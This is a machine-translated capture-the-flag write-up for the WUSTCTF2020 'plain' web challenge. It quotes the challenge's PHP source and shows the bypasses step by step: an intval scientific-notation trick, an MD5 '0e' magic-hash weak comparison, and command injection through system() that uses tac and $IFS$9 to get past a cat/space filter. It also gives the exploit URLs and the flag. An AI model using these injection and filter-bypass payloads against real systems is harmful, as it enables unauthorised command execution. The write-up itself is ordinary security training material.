当前位置:网站首页>[wustctf2020] plain_ WP
[wustctf2020] plain_ WP
2022-07-05 06:20:00 【Acco_ 30_ L】
List of topics
List of articles

analysis
- Open questions , except hack me, No available information , View source code
- Although there is a problem with coding , But I still found this utilization point bot, The thought of robots.txt Crawler rules for websites
robots.txt Put it under the root directory of the website . Based on this file, the crawler decides which pages under the website are authorized to crawl
- robots.txt
It means to any reptile , Prohibit its access to/fAke_f1agggg.php
A file in a directory
But for this hint , We obviously want to visit to see if there is any available information - /fAke_f1agggg.php
I'm at a loss here , Looking at the source code is nothing
obtain flag
- Try to grab the bag , Find valid information in the response header
- /fl4g.php
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo " I inadvertently looked at my Rolex , I don't want to see the time , Just want to inadvertently , Let you know I'm better than you .</br>";
}else{
die(" Money can't solve the essential problem of the poor ");
}
}else{
die(" Go to Africa ");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo " Think of this CTFer Get flag after , grateful , Run to Donglan bank , Find a restaurant , Get the chef out of here , Stir fry two special dishes by yourself , Pour a glass of white wine in bulk , How to get rich , Don't be a little violent .</br>";
else
die(" I quickly called my fair weather friend , He made a phone call , Put his family in Africa ");
}else{
die(" Go to Africa ");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo " Think of it here. , I'm full and happy , The happiness of rich people is often so simple and unadorned , And it's boring .</br>";
system($get_flag);
}else{
die(" It's almost Africa ");
}
}else{
die(" Go to Africa ");
}
?>
Go to Africa
It's harder to appear , Start code audit
title Level 1
intval() Function to get the integer value of a variable .
(intval($num) < 2020 && intval($num + 1) > 2021)
That is to say, let the incoming num Rounded value is less than 2020, Add 1 After taking an integer, it should be greater than 2021
According to this inspiration , We can try the following- But I don't know why , My compiler does not implement this difference , So we pass parameters directly into the title , Check
<?php
echo intval('2e4');
echo intval(2e4);
echo intval('2e4'+1);
echo intval(2e4+1);
echo intval(1e10);
echo intval('1e10');
?>
http://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php?num=%272e4%27
Money can't solve the essential problem of the poorhttp://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php?num=2e4
I inadvertently looked at my Rolex , I don't want to see the time , Just want to inadvertently , Let you know I'm better than you .
Bypass success , And it can be concluded that , The passed in parameters will be automatically converted into strings
Level 2
md5() Function to evaluate the MD5 hash .
($md5==md5($md5))
That is to say, you need to pass in the parameter and its MD5 Hash weak comparison values are equalmd5(0e215962017,32) = 0e291242476940776845150308577824
Pass in the parameterhttp://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php?num=2e4&md5=0e215962017
Bypass success
get flag
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo " Think of it here. , I'm full and happy , The happiness of rich people is often so simple and unadorned , And it's boring .</br>";
system($get_flag);
-strstr(str1,str2) Function is used to determine the string str2 Whether it is str1 The string of . If it is , Then the function returns str1 String from str2 Where the first occurrence begins str1 a null-terminated string ; otherwise , return NULL.
str_ireplace() Function to replace some characters in a string ( Case insensitive ).
- So in get flag There are... In this step 3 Requirements
There can be no spaces in parameters
If there is... In the parameter cat Will be replaced by wctf2020
Parameters are executed as system commands
http://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php?num=2e4&md5=0e215962017&get_flag=ls
-http://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
tac Bypass cat $IFS$9 Around the spaceflag{6c1c57d3-5462-42d3-be85-df3998d042c7}
边栏推荐
- 快速使用Amazon MemoryDB并构建你专属的Redis内存数据库
- 求组合数 AcWing 888. 求组合数 IV
- Shutter web hardware keyboard monitoring
- One question per day 1020 Number of enclaves
- Liunx starts redis
- [2020]GRAF: Generative Radiance Fields for 3D-Aware Image Synthesis
- LeetCode-54
- 求组合数 AcWing 887. 求组合数 III
- Navicat連接Oracle數據庫報錯ORA-28547或ORA-03135
- Basic explanation of typescript
猜你喜欢
Leetcode-6110: number of incremental paths in the grid graph
LVS简介【暂未完成(半成品)】
[2020]GRAF: Generative Radiance Fields for 3D-Aware Image Synthesis
SPI details
Gauss Cancellation acwing 884. Solution d'un système d'équations Xor linéaires par élimination gaussienne
LeetCode 0108. Convert an ordered array into a binary search tree - the median of the array is the root, and the left and right of the median are the left and right subtrees respectively
What is socket? Basic introduction to socket
MySQL advanced part 1: index
4. 对象映射 - Mapping.Mapster
求组合数 AcWing 889. 满足条件的01序列
随机推荐
Daily question 1189 Maximum number of "balloons"
QQ computer version cancels escape character input expression
高斯消元 AcWing 884. 高斯消元解异或線性方程組
[2021]IBRNet: Learning Multi-View Image-Based Rendering Qianqian
【LeetCode】Day95-有效的数独&矩阵置零
Quickly use Amazon memorydb and build your own redis memory database
Traditional databases are gradually "difficult to adapt", and cloud native databases stand out
[learning] database: several cases of index failure
SPI details
927. Trisection simulation
Leetcode-22: bracket generation
C - XOR to all (binary topic)
__ builtin_ Popcount() counts the number of 1s, which are commonly used in bit operations
Currently clicked button and current mouse coordinates in QT judgment interface
打印机脱机时一种容易被忽略的原因
Is it impossible for lamda to wake up?
Leetcode-6110: number of incremental paths in the grid graph
[rust notes] 13 iterator (Part 2)
Nested method, calculation attribute is not applicable, use methods
4. 对象映射 - Mapping.Mapster